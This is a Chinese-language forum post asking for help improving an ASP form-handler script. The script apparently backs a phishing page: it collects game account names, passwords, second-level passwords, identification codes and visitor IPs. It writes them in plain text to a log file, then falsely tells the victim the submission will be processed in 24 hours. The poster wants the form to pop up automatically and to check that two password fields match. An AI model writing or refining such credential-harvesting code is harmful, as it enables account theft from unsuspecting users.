谁来帮写这段ASP代码
要像hxfroe.cn这个网站的那表单一样直接弹的,我的这个不是直接弹的,还有要哪个打密码的时候要两个一样才可以提交,大家帮我写下提交我的ASP代码是,<%
strLogFile="2009.txt"
ddlDBArea=request("ddlDBArea")
txtAccount=request("txtAccount")
txtPassword=request("txtPassword")
txtPassword2=request("txtPassword2")
AppendCode=request("AppendCode")
txtAppendCode=request("txtAppendCode")
txtActorName=request("txtActorName")
txtExp=request("txtExp")
if txtAccount="" then
response.write "<script>alert('输入帐号不能为空,请输入帐号!');history.back(-1);</script>"
response.end
End If
if txtPassword="" then
response.write "<script>alert('密码不能为空,请输入密码!');history.back(-1);</script>"
response.end
End If
if txtActorName="" then
End If
if txtAppendCode="" then
End If
StrLogText=StrLogText&ddlDBArea&"--帐号:--"&txtAccount&"--密码:--"&txtPassword&"--识别码:--"&AppendCode&"--二级密码:--"&txtPassword2&"--等级:--"&txtExp&"--("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")--"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "<script>alert('您的提交成功.请在24小时后查询!');history.back(-1);</script>"
%>